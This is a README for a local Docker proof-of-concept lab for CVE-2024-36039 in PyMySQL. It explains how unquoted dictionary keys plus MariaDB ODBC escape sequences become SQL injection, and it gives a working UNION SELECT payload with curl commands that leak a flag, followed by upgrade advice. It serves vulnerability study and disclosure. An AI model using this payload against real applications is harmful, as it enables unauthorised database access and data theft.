CVE-2024-36039: PyMySQL Object Injection to SQL Injection PoC

A complete, reproducible Proof of Concept (PoC) laboratory for CVE-2024-36039, demonstrating how an Object Injection vulnerability in PyMySQL (versions <= 1.1.0) can be escalated to a full SQL Injection using MariaDB's ODBC Escape Sequences.

⚠️ LEGAL & ETHICAL DISCLAIMER (ETHICAL USE ONLY)

• This repository is for academic and research purposes only.
• The provided code and techniques must NOT be used to interfere with any system that you do not own or have explicit written permission to test.
• The author/contributors are NOT responsible for any consequences or damages caused by the misuse of this information.
• By using this repository, you agree to comply with these terms.

📖 1. Vulnerability Overview

CVE-2024-36039 is a vulnerability in PyMySQL, a pure-Python MySQL client library.

When parameterized queries (e.g., execute("SELECT * FROM table WHERE data = %s", (my_dict,))) receive a Python dictionary where the keys are custom objects rather than standard strings, PyMySQL uses the object's __str__ or __repr__ method to serialize it into an SQL string.

The Bug: PyMySQL forgets to escape (wrap in single quotes) the resulting string of the object key. This results in a raw, unquoted string being injected directly into the SQL statement formatted as a dictionary: {UnquotedObjectString: 'EscapedValue'}.

🔬 2. Technical Deep Dive: The MariaDB ODBC Trick

By itself, injecting {UnquotedKey: 'Value'} into a MariaDB query will trigger a 1064 Syntax Error because {} is not standard SQL data syntax.

However, MariaDB/MySQL supports ODBC Escape Sequences, which use curly braces {}. To bypass the syntax error, the string immediately following the { must be a valid ODBC keyword (e.g., d, t, ts, fn).

The Exploitation Chain:

1. The Object Key (The Injection Point): We craft a custom object that returns fn/* via its __repr__ method.
2. The Value (The Payload): We set the dictionary value to */ 1} UNION SELECT 1, flag, 3 FROM secret -- .
3. PyMySQL Serialization: PyMySQL formats this dictionary into the SQL query without quoting the key:
   root@kitploit:~

   SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
   

4. MariaDB Parsing Magic:
   • {fn : MariaDB recognizes the start of an ODBC scalar function.
   • /*: "'*/ : MariaDB treats this as a block comment. The colon : and the opening quote ' generated by PyMySQL are completely ignored!
   • 1} : Completes the ODBC function (effectively returning the integer 1).
   • UNION SELECT 1, flag, 3 FROM secret : Our injected SQL payload is executed.

Result: A flawless SQL Injection bypassing both application logic and PyMySQL's parameterization!

🛠️ 3. Lab Setup Instructions

Prerequisites

• Docker
• Docker Compose

Installation

Clone this repository and spin up the environment:

git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build

(Wait about 15-20 seconds for the MariaDB container to fully initialize).

🎯 4. Exploitation Steps

Step 1: Normal Request

Send a standard JSON request. The backend will cast the JSON key into a CustomKey object.

curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"yamato": "Any_value"}'

Response: You will get a SQL Syntax Error indicating that {yamato: "'Any_value'"} is invalid SQL, confirming the injection point.

Step 2: The Exploit (Extracting the Flag)

Inject the ODBC escape sequence payload to bypass the syntax error and extract the hidden flag from the secret table.

curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'

Response (PWNED!):

{
  "data":[
    {
      "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
      "id": 1,
      "log_data": "3"
    }
  ],
  "status": "success"
}

🛡️ 5. Remediation

To fix this vulnerability, upgrade PyMySQL to version 1.1.1 or later.

In the patched versions, the developers ensure that all dictionary keys, regardless of their type, are properly escaped and quoted before being inserted into the SQL statement.

pip install --upgrade PyMySQL

📚 6. Credits & References

• CVE-2024-36039 Advisory: NVD - CVE-2024-36039
• PyMySQL Security Patch: PyMySQL GitHub Release v1.1.1
• MariaDB ODBC Escape Sequences: MariaDB Documentation.
• Inspiration: This laboratory environment was modeled based on modern web exploitation techniques involving object-to-string serialization flaws.

Disclaimer: This repository is created for educational and research purposes only. Do not use these techniques against systems you do not own or have explicit permission to test.

© 2026 by zenniskayy. Built for a safer internet.